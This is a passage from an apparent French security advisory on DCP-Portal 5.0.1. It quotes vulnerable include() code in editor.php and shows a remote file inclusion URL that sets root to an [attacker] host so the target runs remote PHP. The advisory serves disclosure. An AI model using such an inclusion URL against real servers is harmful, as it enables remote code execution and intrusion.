DCP-Portal ********** Informations : °°°°°°°°°°°°°° Version : 5.0.1 Website : http://www.dcp-portal.org Problèmes : - Inclusions de fichiers - Accès aux comptes membres - Accès à la partie administration Developpement : °°°°°°°°°°°°°°° DCP-Portal est un CMS ayant des dispositifs avancés comme la mise à jour, les liens, les dossiers, la gestion de membres, les votes, un calendrier,... Il comprend une partie admin permettant de rédigier, e html ou pas, des news, des articles,... Les membres peuvent soumettre des news. C'est un script multi-langue, avec un système de messagerie privée, un FAQ, une mailing liste, .... Les deux premières failles, permettant d'inclure des fichiers distants, ne fonctionne qu'à condition que le register_globals soit ON. Il y a une faille liée à la fonction include() dans deux fichiers. Voici le code buggé du premier, /library/editor/editor.php : ---------------------------------------------------------- [...] $abs_path_editor = "$root/library/editor/"; [...] if( !isset($insertat_editor) ){ include $abs_path_editor."PropAcce_string.php"; } [...] ---------------------------------------------------------- Le script va donc inclure le fichier $root/library/editor/PropAcce_string.php. Si on définit $root nous même, par exemple en lui donnant la valeur "http://[attacker]", avec l'url : http://[target]/library/editor/editor.php?root=http://[attacker], et que le fichier http://[attacker]/library/editor/PropAcce_string.php existe, ce dernier sera inclut, et le code qui s'y trouve (si il y en a) sera executé sur le serveur [target], avec ses droits et restrictions. On a le même type de code (et donc de vulnérabilité) dans le fichier /library/lib.php : ----------------------------------------